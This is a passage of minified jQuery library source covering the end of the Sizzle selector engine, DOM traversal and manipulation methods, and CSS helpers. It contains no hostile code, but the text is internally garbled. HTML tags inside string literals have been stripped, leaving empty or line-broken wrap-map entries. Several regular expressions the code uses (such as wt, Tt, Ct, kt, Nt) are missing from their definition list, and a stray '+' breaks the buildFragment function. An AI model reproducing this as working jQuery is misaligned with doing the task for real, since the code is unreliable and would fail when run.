n=0;for(;t>n;n+=2)e.push(n);return e}),odd:pt(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:pt(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:pt(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}};for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[n]=lt(n);for(n in{submit:!0,reset:!0})i.pseudos[n]=ct(n);function ft(e,t){var n,r,o,a,s,u,l,c=E[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=i.preFilter;while(s){(!n||(r=$.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),u.push(o=[])),n=!1,(r=I.exec(s))&&(n=r.shift(),o.push({value:n,type:r[0].replace(W," ")}),s=s.slice(n.length));for(a in i.filter)!(r=U[a].exec(s))||l[a]&&!(r=l[a](r))||(n=r.shift(),o.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?st.error(e):E(e,u).slice(0)}function dt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function ht(e,t,n){var i=t.dir,o=n&&"parentNode"===i,a=C++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,s){var u,l,c,p=N+" "+a;if(s){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[x]||(t[x]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,s)||r,l[1]===!0)return!0}}function gt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function mt(e,t,n,r,i){var o,a=[],s=0,u=e.length,l=null!=t;for(;u>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),l&&t.push(s));return a}function yt(e,t,n,r,i,o){return r&&!r[x]&&(r=yt(r)),i&&!i[x]&&(i=yt(i,o)),ot(function(o,a,s,u){var l,c,p,f=[],d=[],h=a.length,g=o||xt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:mt(g,f,e,s,u),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,u),r){l=mt(y,d),r(l,[],s,u),c=l.length;while(c--)(p=l[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?M.call(o,p):f[c])>-1&&(o[l]=!(a[l]=p))}}else y=mt(y===a?y.splice(h,y.length):y),i?i(null,a,y,u):H.apply(a,y)})}function vt(e){var t,n,r,o=e.length,a=i.relative[e[0].type],s=a||i.relative[" "],u=a?1:0,c=ht(function(e){return e===t},s,!0),p=ht(function(e){return M.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>u;u++)if(n=i.relative[e[u].type])f=[ht(gt(f),n)];else{if(n=i.filter[e[u].type].apply(null,e[u].matches),n[x]){for(r=++u;o>r;r++)if(i.relative[e[r].type])break;return yt(u>1&>(f),u>1&&dt(e.slice(0,u-1)).replace(W,"$1"),n,r>u&&vt(e.slice(u,r)),o>r&&vt(e=e.slice(r)),o>r&&dt(e))}f.push(n)}return gt(f)}function bt(e,t){var n=0,o=t.length>0,a=e.length>0,s=function(s,u,c,f,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,T=l,C=s||a&&i.find.TAG("*",d&&u.parentNode||u),k=N+=null==T?1:Math.random()||.1;for(w&&(l=u!==p&&u,r=n);null!=(h=C[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,u,c)){f.push(h);break}w&&(N=k,r=++n)}o&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,o&&b!==v){g=0;while(m=t[g++])m(x,y,u,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=L.call(f));y=mt(y)}H.apply(f,y),w&&!s&&y.length>0&&v+t.length>1&&st.uniqueSort(f)}return w&&(N=k,l=T),x};return o?ot(s):s}s=st.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=ft(e)),n=t.length;while(n--)o=vt(t[n]),o[x]?r.push(o):i.push(o);o=S(e,bt(i,r))}return o};function xt(e,t,n){var r=0,i=t.length;for(;i>r;r++)st(e,t[r],n);return n}function wt(e,t,n,r){var o,a,u,l,c,p=ft(e);if(!r&&1===p.length){if(a=p[0]=p[0].slice(0),a.length>2&&"ID"===(u=a[0]).type&&9===t.nodeType&&!d&&i.relative[a[1].type]){if(t=i.find.ID(u.matches[0].replace(et,tt),t)[0],!t)return n;e=e.slice(a.shift().value.length)}o=U.needsContext.test(e)?0:a.length;while(o--){if(u=a[o],i.relative[l=u.type])break;if((c=i.find[l])&&(r=c(u.matches[0].replace(et,tt),V.test(a[0].type)&&t.parentNode||t))){if(a.splice(o,1),e=r.length&&dt(a),!e)return H.apply(n,q.call(r,0)),n;break}}}return s(e,p)(r,t,d,n,V.test(e)),n}i.pseudos.nth=i.pseudos.eq;function Tt(){}i.filters=Tt.prototype=i.pseudos,i.setFilters=new Tt,c(),st.attr=b.attr,b.find=st,b.expr=st.selectors,b.expr[":"]=b.expr.pseudos,b.unique=st.uniqueSort,b.text=st.getText,b.isXMLDoc=st.isXML,b.contains=st.contains}(e);var at=/Until$/,st=/^(?:parents|prev(?:Until|All))/,ut=/^.[^:#\[\.,]*$/,lt=b.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};b.fn.extend({find:function(e){var t,n,r,i=this.length;if("string"!=typeof e)return r=this,this.pushStack(b(e).filter(function(){for(t=0;i>t;t++)if(b.contains(r[t],this))return!0}));for(n=[],t=0;i>t;t++)b.find(e,this[t],n);return n=this.pushStack(i>1?b.unique(n):n),n.selector=(this.selector?this.selector+" ":"")+e,n},has:function(e){var t,n=b(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(b.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1))},filter:function(e){return this.pushStack(ft(this,e,!0))},is:function(e){return!!e&&("string"==typeof e?lt.test(e)?b(e,this.context).index(this[0])>=0:b.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,o=[],a=lt.test(e)||"string"!=typeof e?b(e,t||this.context):0;for(;i>r;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&11!==n.nodeType){if(a?a.index(n)>-1:b.find.matchesSelector(n,e)){o.push(n);break}n=n.parentNode}}return this.pushStack(o.length>1?b.unique(o):o)},index:function(e){return e?"string"==typeof e?b.inArray(this[0],b(e)):b.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?b(e,t):b.makeArray(e&&e.nodeType?[e]:e),r=b.merge(this.get(),n);return this.pushStack(b.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),b.fn.andSelf=b.fn.addBack;function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}b.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return b.dir(e,"parentNode")},parentsUntil:function(e,t,n){return b.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return b.dir(e,"nextSibling")},prevAll:function(e){return b.dir(e,"previousSibling")},nextUntil:function(e,t,n){return b.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return b.dir(e,"previousSibling",n)},siblings:function(e){return b.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return b.sibling(e.firstChild)},contents:function(e){return b.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:b.merge([],e.childNodes)}},function(e,t){b.fn[e]=function(n,r){var i=b.map(this,t,n);return at.test(e)||(r=n),r&&"string"==typeof r&&(i=b.filter(r,i)),i=this.length>1&&!ct[e]?b.unique(i):i,this.length>1&&st.test(e)&&(i=i.reverse()),this.pushStack(i)}}),b.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),1===t.length?b.find.matchesSelector(t[0],e)?[t[0]]:[]:b.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!b(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(t=t||0,b.isFunction(t))return b.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return b.grep(e,function(e){return e===t===n});if("string"==typeof t){var r=b.grep(e,function(e){return 1===e.nodeType});if(ut.test(t))return b.filter(t,r,!n);t=b.filter(t,r)}return b.grep(e,function(e){return b.inArray(e,t)>=0===n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/\s*$/g,At={option:[1,""],legend:[1,"
            ","
            "],area:[1,"",""],param:[1,"",""],thead:[1,"","
            "],tr:[2,"","
            "],col:[2,"","
            "],td:[3,"","
            "],_default:b.support.htmlSerialize?[0,"",""]:[1,"X
            ","
            "]},jt=dt(o),Dt=jt.appendChild(o.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,b.fn.extend({text:function(e){return b.access(this,function(e){return e===t?b.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(b.isFunction(e))return this.each(function(t){b(this).wrapAll(e.call(this,t))});if(this[0]){var t=b(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return b.isFunction(e)?this.each(function(t){b(this).wrapInner(e.call(this,t))}):this.each(function(){var t=b(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=b.isFunction(e);return this.each(function(n){b(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){b.nodeName(this,"body")||b(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.insertBefore(e,this.firstChild)})},before:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=0;for(;null!=(n=this[r]);r++)(!e||b.filter(e,[n]).length>0)&&(t||1!==n.nodeType||b.cleanData(Ot(n)),n.parentNode&&(t&&b.contains(n.ownerDocument,n)&&Mt(Ot(n,"script")),n.parentNode.removeChild(n)));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&b.cleanData(Ot(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&b.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return b.clone(this,e,t)})},html:function(e){return b.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!b.support.htmlSerialize&&mt.test(e)||!b.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(b.cleanData(Ot(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){var t=b.isFunction(e);return t||"string"==typeof e||(e=b(e).not(this).detach()),this.domManip([e],!0,function(e){var t=this.nextSibling,n=this.parentNode;n&&(b(this).remove(),n.insertBefore(e,t))})},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=f.apply([],e);var i,o,a,s,u,l,c=0,p=this.length,d=this,h=p-1,g=e[0],m=b.isFunction(g);if(m||!(1>=p||"string"!=typeof g||b.support.checkClone)&&Ct.test(g))return this.each(function(i){var o=d.eq(i);m&&(e[0]=g.call(this,i,n?o.html():t)),o.domManip(e,n,r)});if(p&&(l=b.buildFragment(e,this[0].ownerDocument,!1,this),i=l.firstChild,1===l.childNodes.length&&(l=i),i)){for(n=n&&b.nodeName(i,"tr"),s=b.map(Ot(l,"script"),Ht),a=s.length;p>c;c++)o=l,c!==h&&(o=b.clone(o,!0,!0),a&&b.merge(s,Ot(o,"script"))),r.call(n&&b.nodeName(this[c],"table")?Lt(this[c],"tbody"):this[c],o,c);if(a)for(u=s[s.length-1].ownerDocument,b.map(s,qt),c=0;a>c;c++)o=s[c],kt.test(o.type||"")&&!b._data(o,"globalEval")&&b.contains(u,o)&&(o.src?b.ajax({url:o.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):b.globalEval((o.text||o.textContent||o.innerHTML||"").replace(St,"")));l=i=null}return this}});function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function Ht(e){var t=e.getAttributeNode("type");return e.type=(t&&t.specified)+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function Mt(e,t){var n,r=0;for(;null!=(n=e[r]);r++)b._data(n,"globalEval",!t||b._data(t[r],"globalEval"))}function _t(e,t){if(1===t.nodeType&&b.hasData(e)){var n,r,i,o=b._data(e),a=b._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)b.event.add(t,n,s[n][r])}a.data&&(a.data=b.extend({},a.data))}}function Ft(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!b.support.noCloneEvent&&t[b.expando]){i=b._data(t);for(r in i.events)b.removeEvent(t,r,i.handle);t.removeAttribute(b.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),b.support.html5Clone&&e.innerHTML&&!b.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Nt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}b.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){b.fn[e]=function(e){var n,r=0,i=[],o=b(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),b(o[r])[t](n),d.apply(i,n.get());return this.pushStack(i)}});function Ot(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||b.nodeName(o,n)?s.push(o):b.merge(s,Ot(o,n));return n===t||n&&b.nodeName(e,n)?b.merge([e],s):s}function Bt(e){Nt.test(e.type)&&(e.defaultChecked=e.checked)}b.extend({clone:function(e,t,n){var r,i,o,a,s,u=b.contains(e.ownerDocument,e);if(b.support.html5Clone||b.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(b.support.noCloneEvent&&b.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||b.isXMLDoc(e)))for(r=Ot(o),s=Ot(e),a=0;null!=(i=s[a]);++a)r[a]&&Ft(i,r[a]);if(t)if(n)for(s=s||Ot(e),r=r||Ot(o),a=0;null!=(i=s[a]);a++)_t(i,r[a]);else _t(e,o);return r=Ot(o,"script"),r.length>0&&Mt(r,!u&&Ot(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,u,l,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===b.type(o))b.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),u=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[u]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!b.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!b.support.tbody){o="table"!==u||xt.test(o)?""!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)b.nodeName(l=o.childNodes[i],"tbody")&&!l.childNodes.length&&o.removeChild(l) +}b.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),b.support.appendChecked||b.grep(Ot(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===b.inArray(o,r))&&(a=b.contains(o.ownerDocument,o),s=Ot(f.appendChild(o),"script"),a&&Mt(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,u=b.expando,l=b.cache,p=b.support.deleteExpando,f=b.event.special;for(;null!=(n=e[s]);s++)if((t||b.acceptData(n))&&(o=n[u],a=o&&l[o])){if(a.events)for(r in a.events)f[r]?b.event.remove(n,r):b.removeEvent(n,r,a.handle);l[o]&&(delete l[o],p?delete n[u]:typeof n.removeAttribute!==i?n.removeAttribute(u):n[u]=null,c.push(o))}}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+x+")(.*)$","i"),Yt=RegExp("^("+x+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+x+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===b.css(e,"display")||!b.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=b._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=b._data(r,"olddisplay",un(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&b._data(r,"olddisplay",i?n:b.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}b.fn.extend({css:function(e,n){return b.access(this,function(e,n,r){var i,o,a={},s=0;if(b.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=b.css(e,n[s],!1,o);return a}return r!==t?b.style(e,n,r):b.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){var t="boolean"==typeof e;return this.each(function(){(t?e:nn(this))?b(this).show():b(this).hide()})}}),b.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":b.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,u=b.camelCase(n),l=e.style;if(n=b.cssProps[u]||(b.cssProps[u]=tn(l,u)),s=b.cssHooks[n]||b.cssHooks[u],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:l[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(b.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||b.cssNumber[u]||(r+="px"),b.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(l[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{l[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,u=b.camelCase(n);return n=b.cssProps[u]||(b.cssProps[u]=tn(e.style,u)),s=b.cssHooks[n]||b.cssHooks[u],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||b.isNumeric(o)?o||0:a):a},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s.getPropertyValue(n)||s[n]:t,l=e.style;return s&&(""!==u||b.contains(e.ownerDocument,e)||(u=b.style(e,n)),Yt.test(u)&&Ut.test(n)&&(i=l.width,o=l.minWidth,a=l.maxWidth,l.minWidth=l.maxWidth=l.width=u,u=s.width,l.width=i,l.minWidth=o,l.maxWidth=a)),u}):o.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s[n]:t,l=e.style;return null==u&&l&&l[n]&&(u=l[n]),Yt.test(u)&&!zt.test(n)&&(i=l.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),l.left="fontSize"===n?"1em":u,u=l.pixelLeft+"px",l.left=i,a&&(o.left=a)),""===u?"auto":u});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=b.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=b.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=b.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=b.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=b.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=b.support.boxSizing&&"border-box"===b.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(b.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function un(e){var t=o,n=Gt[e];return n||(n=ln(e,t),"none"!==n&&n||(Pt=(Pt||b("